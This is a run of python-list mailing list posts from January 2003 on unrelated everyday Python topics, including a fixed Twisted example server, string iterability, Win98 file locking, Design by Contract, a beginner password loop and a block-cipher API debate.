[Andrew Bennetts]
> An example of doing this in Twisted

[Richie]
> This is a wonderful example

...except for two bugs.  8-)

It falls over when you feed it lots of lines at once (eg. by telnetting
to it and pasting a bunch of lines into the terminal) for two reasons:

 o It deletes completed jobs from the wrong end of the stack.
 o The callback can be called with no work left, so it needs to check
   that the stack isn't empty.

Here's a fixed version, with my edits marked with 'RJH':

----------------------------------------------------------------------

from twisted.protocols import basic
from twisted.internet import reactor
from twisted.internet.protocol import ServerFactory

class LongMultiplicationProtocol(basic.LineReceiver):
    """A protocol for doing long multiplications.

    It receives a list of numbers (seperated by whitespace) on a line, and
    writes back the answer.  The answer is calculated in chunks, so no one
    calculation should block for long enough to matter.
    """
    def connectionMade(self):
        self.workQueue = []
        
    def lineReceived(self, line):
        try:
            numbers = map(long, line.split())
        except ValueError:
            self.sendLine('Error.')
            return

        if len(numbers) <= 1:
            self.sendLine('Error.')
            return

        self.workQueue.append(numbers)
        reactor.callLater(0, self.calcChunk)

    def calcChunk(self):
        # RJH:
        # Make sure there's some work left; when multiple lines are received
        # while processing is going on, multiple calls to reactor.callLater()
        # can happen between calls to calcChunk().
        if self.workQueue:
            # Get the first bit of work off the queue
            work = self.workQueue[0]
    
            # Do a chunk of work: [a, b, c, ...] -> [a*b, c, ...]
            work[:2] = [work[0] * work[1]]
    
            # If this piece of work now has only one element, send it.
            if len(work) == 1:
                self.sendLine(str(work[0]))
                del self.workQueue[0]  # RJH: Not `self.workQueue.pop()`!
            
            # Schedule this function to do more work, if there's still work
            # to be done.
            if self.workQueue:
                reactor.callLater(0, self.calcChunk)


class LongMultiplicationFactory(ServerFactory):
    protocol = LongMultiplicationProtocol


if __name__ == '__main__':
    from twisted.python import log
    import sys
    log.startLogging(sys.stdout)
    reactor.listenTCP(1234, LongMultiplicationFactory())
    reactor.run()

----------------------------------------------------------------------

I-know-it's-only-an-example-but-I-can't-help-myself-ly yrs,

-- 
Richie Hindle
richie at entrian.com



From tismer at tismer.com  Thu Jan 30 23:17:28 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 05:17:28 +0100
Subject: Implicit lists
In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8B02ADC4CB@natasha.auslabs.avaya.com>
References: <B43D149A9AB2D411971300B0D03D7E8B02ADC4CB@natasha.auslabs.avaya.com>
Message-ID: <3E39F8D8.6040203@tismer.com>

Delaney, Timothy wrote:
> From: Christian Tismer [mailto:tismer at tismer.com]
> 
> In my opinion, the crux of this all is the decision
> that strings are iterable.
> The number of use cases which I have seen so far is much
> shorter than this thread.
> Strings are much more often used as solid objects.
> I'm pretty sure Guido would remove the sequence-ness
> of strings in Python 3000, even to avoid this kind
> of problems.
> 
> 
> Whilst I've always liked that strings are iterable in Python, it does lead
> to complexity when you want to treat them specially.

How many of your programs *do* use an iteration over strings?
I have one or two, from the early first contact with Python.
Then I always was busy to defend strings as sequences.

> Additionally, the new semantics of 'in' for strings in 2.3 does suggest a
> lessening of the sequence-like behaviour of strings.

Absolutely.

> However, there has been a move to making *more* things iterable, not less.
> Whilst in general this is nice, it does mean that there are more
> opportunities for invalid objects to be processed by library routines.

I'm not against having more that makes sense.
But as stated elsewhere, we should at the same
time have less of the non-sense.
We are probably deprecating apply in favor of "*"/"**"
function calling, since it simplifies matters.
Strings as sequences do not simplify at all.
Without them, this thread would be non-existant
(as it should be).

> I would say, if you absolutely *must* have a list, document as such and do a
> typecheck. If someone wants to pass a non-list, they must convert it to a
> list by whatever method is appropriate.

Sure. Explicit, simple arguments are better than
implicit coercions.
If you need to have lists or tuples, I prefer to
do positive tests for them, instead of allowing
any iterable. It is then on the user's side to
supply the correct type or a coercion.

> But in general, wider interfaces are preferable.

Explicit intefaces would be a delight, btw.

ciao - chris






From karpierz at _NOSPAM_alpha.pl  Wed Jan 15 04:57:09 2003
From: karpierz at _NOSPAM_alpha.pl (Adam Karpierz)
Date: Wed, 15 Jan 2003 10:57:09 +0100
Subject: Python and Word
References: <2eb85cfb.0301150147.134c34a3@posting.google.com>
Message-ID: <b03bah$m6h$1@news.tpi.pl>

Uzytkownik "Anthony Evershed" <anthony.evershed at npl.co.uk> napisal:

> I'm trying to get Python 2.2.2 with Win32all extensions to use Word
> 2000's alignment tool when pushing data in. I have found the win32com
> command:
>
> wd.Selection.Paragraphs.Alignment(?)

 wd.Selection.Paragraphs.Alignment = value

--
Adam Karpierz






From skip at pobox.com  Wed Jan 22 22:00:38 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 21:00:38 -0600
Subject: Best SMTP/POP library?
In-Reply-To: <LtEX9.134$0L3.63489@news2.news.adelphia.net>
References: <FEyX9.1$0L3.488@news2.news.adelphia.net>
        <mailman.1043252741.1779.python-list@python.org>
        <LtEX9.134$0L3.63489@news2.news.adelphia.net>
Message-ID: <15919.23254.972876.793353@montanaro.dyndns.org>

    >> http://spambayes.sf.net/

    Robert> Last I checked the only thing you could download was a 'pik'
    Robert> file or a the whole CVS tree, but that in a few weeks they might
    Robert> have a standard SourceForge download, has anything changed?

Yes, a release is in the works and should be appearing soon.  Keep an eye on
the website.

(Is there a reason you have an email address which looks like it ought to
work, but never does?)

Skip





From jepler at unpythonic.net  Tue Jan 14 15:07:07 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 14 Jan 2003 14:07:07 -0600
Subject: OT: spam filtering idea
In-Reply-To: <7h3lm1nsyhm.fsf@pc150.maths.bris.ac.uk>
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com> <avv6ah$clk$1@verence.demon.co.uk> <7h3lm1nsyhm.fsf@pc150.maths.bris.ac.uk>
Message-ID: <20030114200706.GL23137@unpythonic.net>

On Tue, Jan 14, 2003 at 12:32:00PM +0000, Michael Hudson wrote:
> A reflection of this fact is that spammers are clearly testing their
> mails against SpamAssassin, whereas some mailshots I get, and want to
> get, (the Apple Developer Connection News being a striking example)
> frequently get flagged by SA as spam.

They must not be working too hard.  I have a message here with a very
spammy "copy your dee vee dee" body taken from real spam plus a few
headers and footers that gets -15 points on spamassassin 2.43 (default
weights, no whitelist or auto-whitelist).  Or maybe 2.43 isn't their
target..

Jeff




From pschmidt at omnimn.com  Wed Jan  8 08:45:46 2003
From: pschmidt at omnimn.com (Phil Schmidt)
Date: 8 Jan 2003 05:45:46 -0800
Subject: python compiler package questions
Message-ID: <69413f9.0301080545.612e42f7@posting.google.com>

Background:
I do embedded development for a living on little 8-bit and 16-bit
micros. Most of these have C compilers available, so I do much of my
coding in C. However, I've been playing with Python for a year or so
now, and really like it. I'd like to try to come up with a subset of
Python that could be used on little micros, with most of my interest
being in the object-oriented-ness of Python.

I started looking at the Python compiler package, and it occurred to
me that I could possibly create C code from the Python AST, which
could then be compiled by the little micro's C compiler. Thus, I could
make a language with Python syntax, and with semantics as much like
Python as is practical for the little buggers.

Simple questions:
Does this sound like a practical approach? If not, what would you
suggest instead?

Technical questions:
I used the following code to play with the compiler (using Python
2.2.1 in Windows):
--------------------------
import compiler
s=compiler.parse("""def afunc(a=0, h):
    print a
    a = a * 2
    print a, 'hello'
""")
--------------------------

I found that the code parsed ok as shown above - i.e., no error with
the argument list to afunc - though I think this should produce an
error. Then, when I change the argument list to "(a, h=0)", this also
parsed ok, and produced exactly the same AST as the first case. This
seems wrong! Adding a comma after h in the first example caused the
parser to produce an AST different from the second case, and which I
believe to be correct.

I traced this down to transformer.py in the compiler package, and, I
think, fixed it.

So, is this really a bug, or did the parser do the right thing?

If it IS a bug, will this be fixed in 2.3? Should I "officially"
report it?


Thanks for any comments!



From theller at python.net  Tue Jan 14 16:20:53 2003
From: theller at python.net (Thomas Heller)
Date: 14 Jan 2003 22:20:53 +0100
Subject: portalocker in Win98
References: <fe35b211.0301140932.62d3d334@posting.google.com> <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk> <mailman.1042577366.19187.python-list@python.org>
Message-ID: <d6mzv362.fsf@python.net>

Richard Jones <rjones at ekit-inc.com> writes:

> On Wed, 15 Jan 2003 6:10 am, Robin Becker wrote:
> > In article <fe35b211.0301140932.62d3d334 at posting.google.com>, Vic
> > <vic at innocent.com> writes
> > >I'm brand new to Python. I saw Roundup working at work, and decided to
> > >try an installation at home.
> > >
> > >The initial testing (run_tests) fails with 95 errors - these all
> > >appear to be file-locking problems. I've scoured the web, and found
> > >out about the unsupported file-lock stuff used by portalocker.py.
> > >
> > >So - has anyone got this going on Win98? Is there a potted solution I
> > >can use, or have I got loads of re-coding to do (I'm a C programmer,
> > >so thst's not going to happen any time soon...)
> >
> > There's another thread about this right now and some have suggested
> > using a directory lock file to avoid certain NFS problems.
> 
> The issue at hand is that the portalocker code uses the win32 API to do 
> locking on windows, but win98 doesn't support it. Or something. I'm not 
> completely sure. I do know that NFS doesn't come into it...
> 

The problem is that portalocker uses the functions LockFileEx and
UnlockFileEx, which are documented in MSDN as only winNT/2000/XP. The
functions LockFile and UnlockFile (are they exposed by win32all?) are
also available on Win95/98/Me.

But even they may not be needed, there's the little known msvcrt module
included in standard Python, which also has a locking function.
I never tried it, though. 

Thomas



From peter at engcorp.com  Sun Jan 19 11:45:53 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 19 Jan 2003 11:45:53 -0500
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> <mailman.1042826159.14168.python-list@python.org> <v2j5mial64f6f@corp.supernews.com> <mailman.1042976675.1843.python-list@python.org> <x7smvp2k20.fsf@guru.mired.org>
Message-ID: <3E2AD641.66CA1F88@engcorp.com>

Mike Meyer wrote:
> 
> "Donnal Walter" <donnalcwalter at yahoo.com> writes:
> 
> > [OT] One of Eiffel's strengths is design by contract (DBC). I've considered
> > implementing one of the published recipes for EiffelMethods in Python, but I
> > wonder, is DBC is really necessary if one uses unit tests compulsively?
> 
> I don't know about "necessary", but there are uses for DbC that unit
> testing can't cover, and uses for unit testing that DbC can't cover.
> See <URL:
> http://scom.hud.ac.uk/staff/scomdjd/public/XP/UT/dbc-and-unittests.html
> > for an extended discourse on these topics.

As someone unfamiliar with DbC, I'm uncertain whether my initial
reaction to reading that page is fair or whether the page itself 
has perhaps somewhat poor coverage of DbC.

Does this page really reflect the essence of DbC and the way in 
which it is applied?  If it is, I would have to conclude that not
only do I see little value in it, but that with proper unit and
acceptance testing I see *no* value in DbC, and perhaps even some
negative aspects.

One small example of an area that bothers me -- not even related to 
unit testing -- is the comparison under the subtitle "But isn't 
defensive programming good thing?" (sic).  It shows the DbC approach 
as doing exactly what we often recommend *not* doing in this 
newsgroup: attempting to verify a condition exists prior to actually
performing the operation that requires that condition.  The
so-called "defensive" programming version (I would have used that
term for the DbC version, but maybe "defensive" has a reserved
meaning in DbC for all I know) shows the more Pythonic approach of
just performing the operation, then catching the exception if
one occurs.

Independent comments on that page and this issue in general would 
be welcome.

Comments which manage to tie it back to Python would be even more
welcome. :-)

-Peter



From whisper at oz.net  Thu Jan 16 22:51:27 2003
From: whisper at oz.net (David LeBlanc)
Date: Thu, 16 Jan 2003 19:51:27 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <3E276D7B.EBB63064@engcorp.com>
Message-ID: <GCEDKONBLEFPPADDJCOEEEOCHGAA.whisper@oz.net>

I wish I could - apparently, Mr Simonyi bought himself a trout stream down
in Oregon after leaving Monopoly$oft and there was an interview with him
there and, IIRC, he made the comment during that interview. I don't recall
where I read it though alas.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Peter Hansen
> Sent: Thursday, January 16, 2003 18:42
> To: python-list at python.org
> Subject: Re: Coding standard: Prefixing variables to indicate datatype
>
>
> David LeBlanc wrote:
> >
> > Charles Semonie (sp?) said he rued the day he ever even thought of
> > "hungarian" notation, let alone foisted it upon an unsuspecting
> developer
> > world.
>
> It's "Simonyi", and although I've found many web pages expressing
> a dislike of the notation, I haven't been able to find any references
> to Simonyi himself expressing any regret.  Can you point me to one?
>
> > Plain and simple it's bad programming practice. Among other things, it
> > encourages bad names for variables and focuses more on the
> data's type then
> > it's use.
>
> Agreed!
>
> -Peter
> --
> http://mail.python.org/mailman/listinfo/python-list





From tdelaney at avaya.com  Thu Jan 30 19:39:57 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 11:39:57 +1100
Subject: Which exception has been used? (was: Which exception to use?)
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC42E@natasha.auslabs.avaya.com>

> From: Laura Creighton [mailto:lac at strakt.com]
> 
> > Suppose, as is always true, though, that I'm dealing
> > with modules not under my control.  How do I catch
> > "other"?  There must be something I'm missing about
> > the new type and exception systems, 'cause I don't 
> > see a Pythonic way to write
> >   ....
> >   except OTHER, e:
> >       # The foreign code threw an exception of
> >       #    a type I don't recognize, but I need
> >       #    to process/log/... 'e'.
> >       cope(e)
> > Yes, I can write
> >   ....
> >   except:
> >       cope()
> > but then I've lost the information I want in 'e'.
> 
>  It is sitting around in  sys.exc_info(). Grab it before 
> another exception
>  happens. 

Note as well, that sys.exc_info() is thread-safe - if an exception occurs on
another thread it will not affect the result. sys.exc_info() will only be
overwritten by an exception on the same thread.

Tim Delaney




From someone at microsoft.com  Thu Jan  2 14:38:23 2003
From: someone at microsoft.com (John Smith)
Date: Thu, 2 Jan 2003 11:38:23 -0800
Subject: Cube Roots
Message-ID: <av24ff$qe3$1@ns2.gonzaga.edu>

How does one take a root higher than square roots in Python?  Can I take the
cube root of a number?





From peter at engcorp.com  Sun Jan  5 21:53:00 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 05 Jan 2003 21:53:00 -0500
Subject: Function calls and reflection
References: <67446a0a.0301051338.147661dc@posting.google.com> <ava9me$dgllu$1@ID-114079.news.dfncis.de> <mailman.1041807669.32100.python-list@python.org>
Message-ID: <3E18EF8C.47D58972@engcorp.com>

Christian Tismer wrote:
> 
> Jeremy Yallop wrote:
> > * Boethius
> > | Can a function tell which function / method called it?
> >
> > Yes.
> >
> > Here's one way:
> >
> >   from inspect import currentframe
> 
> Note that for simple current frame access, you don't need
> to import inspect.
> Inspect's currentframe, for Python 2.x, is identical
> to sys._getframe.

Python 2.1 and up, actually.  As mentioned at http://www.amk.ca/python/2.1/ :
 "A new implementation-dependent function, sys._getframe([depth]), 
  has been added to return a given frame object from the current 
  call stack. sys._getframe() returns the frame at the top of the 
  call stack; if the optional integer argument depth is supplied, 
  the function returns the frame that is depth calls below the top 
  of the stack. For example, sys._getframe(1) returns the caller's 
  frame object. 

-Peter



From andy at eastonwest.co.uk  Sat Jan 18 15:15:38 2003
From: andy at eastonwest.co.uk (andy)
Date: Sat, 18 Jan 2003 20:15:38 +0000
Subject: Newbe: password program
In-Reply-To: <eDcW9.7243$V75.2394@nwrddc02.gnilink.net>
References: <eDcW9.7243$V75.2394@nwrddc02.gnilink.net>
Message-ID: <200301182015.38552.andy@eastonwest.co.uk>

pavs,

Python really is cool, isn't it.  Keep playing with it, the rewards are 
immense!

Some thoughts.

In your while loop, the statement

    print "Wrong Password"

will always be executed the first time.  If that's not what you want, you 
could solve it one of several ways:

1) Preload the password variable with raw_input()

count=0
password=raw_input("Password:")
while password != "unicorn":
    print "Wrong Password"
    password=raw_input("Re-enter password")
    count+=1

2) Check that the password is not the default, within the loop

count=0
password="default"
while password != "unicorn":
    if password <> "default":
        print "Wrong Password"
    password=raw_input("Password")
    count+=1

3) Control the loop with a flag 

count=0
gotit=0
while not gotit:
    password = raw_input("Password:")
    if password == "unicorn":
        gotit=1
    else:
        print "Wrong password"
        count+=1

I'm sure some of the guru's could code it differently too... remember, there's 
more than one way to, er, skin a python!

-andyj


On Saturday 18 Jan 2003 1:27 pm, pavs wrote:
> #Modify a password guessing program to keep track of how
> #many times the user has entered the pasword wrong.
> #If, it is more than 3 time, print "That must have been complicated."
>
> # ------------------------------------------------------------------
>
> #Waits untill password has been entered. Use Control -C to break out
> without # the password
>
> #Note that this must not be the password so that the while loop runs
> atleast once
>
> password = "pavs"
> count = 0
>
> while password != "unicorn":
>     print "Wrong Password"
>     password = raw_input("Password:")
>     count = count + 1
>
>
> print "Welcome in"
> if count > 3:
>     print "That must have been hard"
>
>
>
>
> ---------------------------------------------------------------------------
>-----
>
> :)
>
> I think the program works.
>
> If so, than this would be my first workable program without outside help :)
>
> Python is so much FUN!
>
> Cheers,
> pavs





From jepler at unpythonic.net  Mon Jan 13 12:30:01 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 13 Jan 2003 11:30:01 -0600
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
In-Reply-To: <avuriu$e55$0@216.39.172.122>
References: <mailman.1042403841.24976.python-list@python.org> <7x8yxqxeav.fsf@ruckus.brouhaha.com> <c76ff6fc.0301130206.ca90ba2@posting.google.com> <xpudnbPQNdfpfb-jXTWcpw@comcast.com> <avuriu$e55$0@216.39.172.122>
Message-ID: <20030113172948.GD23137@unpythonic.net>

> On Mon, 13 Jan 2003 10:48:30 -0500, "Terry Reedy" <tjreedy at udel.edu> wrote:

> >When I asked about this in August one answer was that this should not
> >be changed until the 'new compiler' is finished (it still is not)
> >because adding an opcode would create foward/backward incompatibilites
> >that are not justified by such a minor optimization.
> >
On Mon, Jan 13, 2003 at 05:04:30PM +0000, Bengt Richter wrote:
> Has anyone taken a measure of exactly how "minor" it really would be?

I know this has been written long ago.  A person did a dynamic analysis
of instruction pair frequency, added them as separate VM instructions,
and benchmarked the result for performance improvement.

I can't find the paper now.  Maybe the paper I described hasn't been
written, and this is the one I was thinking of:
http://www.foretec.com/python/workshops/1998-11/proceedings/papers/aycock-211/aycock211.html

Jeff




From claird at lairds.com  Thu Jan  9 19:37:26 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 10 Jan 2003 00:37:26 -0000
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <mailman.1042065497.31296.python-list@python.org> <slrnb1r6t4.e5b.charles@skinner.pentek.org> <mailman.1042150212.26853.python-list@python.org>
Message-ID: <v1s5e63a72pee@corp.supernews.com>

In article <mailman.1042150212.26853.python-list at python.org>,
Lulu of the Lotus-Eaters  <mertz at gnosis.cx> wrote:
			.
			.
			.
>worry too much about the exact specializations of her professors.  In
>any case, more classroom contact will be with TAs than actual profs.
			.
			.
			.
You people put up with this stuff (quarantine away
from actual profs; yes, I know TAs can be better--
I sure intended it that way when I was pitching),
AND PAY MONEY FOR THE PRIVILEGE?!?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From BPettersen at NAREX.com  Sat Jan  4 11:06:34 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Sat, 4 Jan 2003 09:06:34 -0700
Subject: Compare Python with Perl for QA purpose 
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE7B@admin56.narex.com>

> From: Amol Sonaikar [mailto:amol at kenati.com] 
> 
> Hi all
> 
> I am using Python to test the Our created  Command Line 
> Interface. I would 
> like to know whether Python will be better option to work on 
> it or Perl. I 
> guess the python users can very well elaborate on it.

Isn't this the canonical use case for Expect, i.e. Tcl? Python has of
course developed features in that direction to, although still not quite
as polished from what I understand (never used them myself, i.e. this is
hearsay <wink>). In any case, your question should probably be: "Is
either Perl or Python close enough to Tcl/Expect functionality to test
our CLI and do they have other properties that would make up for any
lack of specific features?" The answer, of course, depends on what your
requirements are...

just-my-0.02-etc-etc'ly y'rs
-- bjorn




From cgjunkaddr at attbi.com  Thu Jan 30 01:44:53 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Thu, 30 Jan 2003 06:44:53 GMT
Subject: Update: KOBRA - .NET for Python
References: <4uJZ9.77775$6G4.11854@sccrnsc02> <8kmg3vobt33v5ivfhdn4r115029gtn5o8t@4ax.com>
Message-ID: <FR3_9.86256$VU6.50446@rwcrnsc52.ops.asp.att.net>

Thanks for your comments.

"System.Boolean" is returned as a boxed object. e.g. try something like:
pointObj.IsEmpty()

this will return a boxed object

Int32 is mapped directly to python long (to and fro)

You should not get any errors. (See the example to create a point - with the
constructor)

---
Check out http://www.gadgil.net/DotNetWrapperForPython.htm for updated docs.
---

A new version is also avilable.

Regards
Chetan Gadgil


"Kyle Yancey" <kyle at lakeofburningfire.org> wrote in message
news:8kmg3vobt33v5ivfhdn4r115029gtn5o8t at 4ax.com...
> It's nice that your not letting this project stagnate.  I'm suprised
> at how often you've updated it since I started reading this newsgroup.
> I have one request/suggestion.  It would be nice if I could declare
> built-in types such as System.Boolean or System.Int32. I keep getting
> debugger errors when I try.  Also, the same thing happens when I try
> to declare a System.Reflection.Assembly object. Thanks for the
> library.
>





From davegaramond at icqmail.com  Wed Jan 22 02:50:54 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Wed, 22 Jan 2003 00:50:54 -0700
Subject: a single class supporting multiple facets/interfaces
References: <mailman.1043066796.28044.python-list@python.org> <ix2cnb2sPtNAoLGjXTWcpg@comcast.com>
Message-ID: <3E2E4D5E.2050409@icqmail.com>

Terry Reedy wrote:
>>the above code does what i want to accomplish, but i think it's very
>>ugly. can anyone make it more elegant?
> 
> I am slightly surprised at how often people post questions like the
> above.
> To me, any code which is straightforward (comprehensible on one
> reading), easy to change, and which accomplishes the goal intended,
> has a certain kind of beauty.
> Code does not have to be ugly to be improvable.

agreed. and that's why i didn't think my code was elegant/beautiful: 
it's not straightforward. all i need is to create some kind of mapping 
between method names (C's foo1 -> facet1's foo, C's foo2 -> facet2's 
foo) so C's client can pick a facet she wants and C will make foo refer 
to the correct implementation. but i ended up creating two different 
'facet' classes. it's the two classes that i want to eliminate.

> That said, I believe you could also do what you want by deriving your
> master class from object (to make it 'new-style') and the facet
> classes from the master class.  Then provide a factory function which
> returns an instance of the desired subclass.
> Something like

-- 
dave






From Gareth.McCaughan at pobox.com  Mon Jan 13 17:58:59 2003
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Mon, 13 Jan 2003 22:58:59 +0000
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org> <9UiU9.7010$DQ5.4151@nwrddc04.gnilink.net> <7xfzrym4dv.fsf@ruckus.brouhaha.com>
Message-ID: <slrnb26h5i.2ufg.Gareth.McCaughan@g.local>

Paul Rubin wrote:

>  IIRC the etymology of Scheme-48 is that 48 is 84 spelled backwards--it
>  was supposed to be a simple implementation of Scheme-84.

The explanation given by its creators is that it was supposed
to be so clean, well-organized and simple an implementation
that one could understand it completely in 48 hours. They
admit that this objective has not been completely achieved :-).
Of course it's possible that there are other reasons for the
name; perhaps the official one is retrofitted.

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
.sig under construc



From paul at boddie.net  Fri Jan 17 05:57:38 2003
From: paul at boddie.net (Paul Boddie)
Date: 17 Jan 2003 02:57:38 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <23891c90.0301170257.7267c8c3@posting.google.com>

"N. Thomas" <nthomas at cise.ufl.edu> wrote in message news:<slrnb293jk.1hr.nthomas at rain.cise.ufl.edu>...
> ...or rather "XML's data structures vs Python's data structures"

[...]

> Are there any issues that I should be aware of regarding this? I mean,
> are there situations where is it better to save one's data in XML
> internally as opposed to using the language's native structures, and
> exporting to/from XML?

Before the XML heavyweights get in on this, I would make the following points:

  * A lists and dictionaries approach certainly has its merits:
    speed (at least according to the PyRXP people), familiarity,
    interoperability with other Python stuff.

  * Once you start to look into more advanced features, it would
    seem to me that the lists and dictionaries model approaches
    such a level of complexity that a "proper" object model would
    be better. That is because you would need to find more
    efficient ways (in terms of expression) of requesting an
    attribute with a given namespace, for example, than examining
    raw dictionaries. Certainly, it appears to me that...

      attr = element.getAttributeNS(some_namespace, some_name)

    ...is more obvious than...

      attr = element[some_namespace][some_name]

    ...especially if it's hidden in lots of heavy XML processing
    code.

  * You could write your own object model. Frederik Lundh's
    ElementTree is like this. I'm not 100% convinced that it's
    beneficial to drop a standard object model that is widely
    understood for another which is more Pythonic, although this
    is a tradeoff that might be appropriate for some situations.

  * If someone were to write an XPath wrapper for PyRXP and
    similar packages, many standards issues would be less of a
    concern. However, those wishing a "Pythonic" experience
    arguably wouldn't benefit from XPath, and that experience
    would obviously no longer be a motivation for XPath users
    of such packages (since the nice Pythonic interface would
    be ignored).

  * If performance is a concern, libxml2 and cDomlette are
    supposedly rather fast. I've never used the libxml2 bindings
    for Python due to the lack of a PyXML-style DOM interface
    until recently (I believe), but it's interesting that no
    benchmark appears for it in the PyRXP benchmarks comparison
    table:

      http://www.reportlab.com/xml/pyrxp.html

Anyway, I hope this helps.

Paul



From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 02:08:03 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 23:08:03 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com>
Message-ID: <7xsmvcl9gs.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > So that applications can use it without having to wait for 2.3.1 or
> > whatever.
> 
> Why the rush to even get it into a 2.3 dot release?  Who needs this
> functionality so urgently?

I'd like it.  The author of mxCrypto just posted that he sees a need
for it.  The other folks on the Python crypto list want it.  There is
maybe a larger group (perhaps including you) who don't care about it,
but in that case, why the concern?  The people who care about it seem
satisfied with what's going on.

> If you want it to get in, take the slow route.  Submit (or revise) a
> PEP, and take your time.  You're in a big hurry to get it into the
> version of Python that's already gone alpha, but I don't think anybody
> else sees the point of the urgency.

You seem concerned that the API may not otherwise get enough
discussion before being shipped, but it's gotten plenty on the Python
crypto list, which is where most of the people who care about this
stuff hang out.  If you're interested in it, why not join the list?
Really, when I posted to c.l.py, I thought I was simply inviting some
possible last minute technical comments from people who weren't on the
list.  Instead, I'm getting a bunch of nontechnical metadiscussion
that's just a pain.

As for PEPs, I just looked at the existing ones; very few existing
PEPs are about library modules, and hardly any existing library
modules are described in PEPs.  Almost all the PEPs are about issues
that affect Python internals.  Even the ones that are about libraries
(like 272) seem mostly aimed at module implementers, not users.

Library modules have usually been described for users in ordinary
documentation, not PEPs.  Why do you want to suddenly start using PEPs
in a way they haven't normally been used?

Also, as I mentioned to David, there's already been a PEP for block
ciphers (PEP 272) and it wasn't all that helpful.  I don't think
anyone has ever implemented what it specifies.  Doing another one
doesn't sound terribly worthwhile.  It's just going around in circles.



From gmuller at worldonline.nl  Fri Jan 31 15:15:31 2003
From: gmuller at worldonline.nl (GerritM)
Date: Fri, 31 Jan 2003 21:15:31 +0100
Subject: idlefork 0.9a2 and Windows 98
Message-ID: <b1elli$502$1@reader1.tiscali.nl>

Idlefork sounds like a set of very nice improvements, especially the F5
which does a clean start is a big win for new Python users. I did not yet
really use it because I ran into a few problems when starting idlefork.

I just entered a bug in the idlefork sourceforge bug repository about the
interaction of idlefork with Windows98. W98 does all kinds of strange things
if filenames or foldernames are created which start with a dot. In this case
.idlerc as name is the culprit.

I did not (yet) create a change request for the startup script, which does
not work on windows (Windows does not know about first lines with a #). So
starting idlescript is now somewhat cumbersome on windows machines.

regards Gerrit

--
www.extra.research.philips.com/natlab/sysarch/





From mcfletch at rogers.com  Fri Jan 31 12:35:30 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 31 Jan 2003 12:35:30 -0500
Subject: Reliably getting/setting the (current) encoding name?
In-Reply-To: <7h3znphwdtp.fsf@pc150.maths.bris.ac.uk>
References: <mailman.1043989740.10681.python-list@python.org> <7h3znphwdtp.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3E3AB3E2.9050502@rogers.com>

Michael Hudson wrote:

>"Mike C. Fletcher" <mcfletch at rogers.com> writes:
>  
>
>>The codecs module doesn't appear to have a "get default codec name"
>>function.  So I'm asking the question:
>>
>>    How does one reliably get the currently-active default codec name
>>    (i.e. the one that reflects the currently-set locale) as suitable
>>    for use with uncode.encode( ... )?
>>    
>>
>
>I don't know the answer to this one, I'm afraid.
>
 >>> import sys
 >>> sys.getdefaultencoding()
'ascii'

(Alex mentioned it in his post)

...

>Here I'd say: don't add conversion code "all over the joint", add it
>"at the edges", i.e. where the unicode strings get into your library.
>
...

Yes, I'm not particularly infatuated with the idea of multi-line 
conversion hacks all over my libraries :) , the difficulty with using 
the "edges" is that the (GUI) library is constantly interacting with 
various wxTextCtrl objects, which, in the Unicode builds of wxPython are 
suddenly returning unicode instead of str objects, which means the 
Unicode strings are arriving all through the library, sometimes being 
directed at the object model, sometimes at status messages, sometimes to 
the logging system etc.  At the moment, I'm going to go down the path to 
evil and requiring the application to set a useful default encoding 
using the hack Alex pointed out.

Enjoy,
Mike

 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







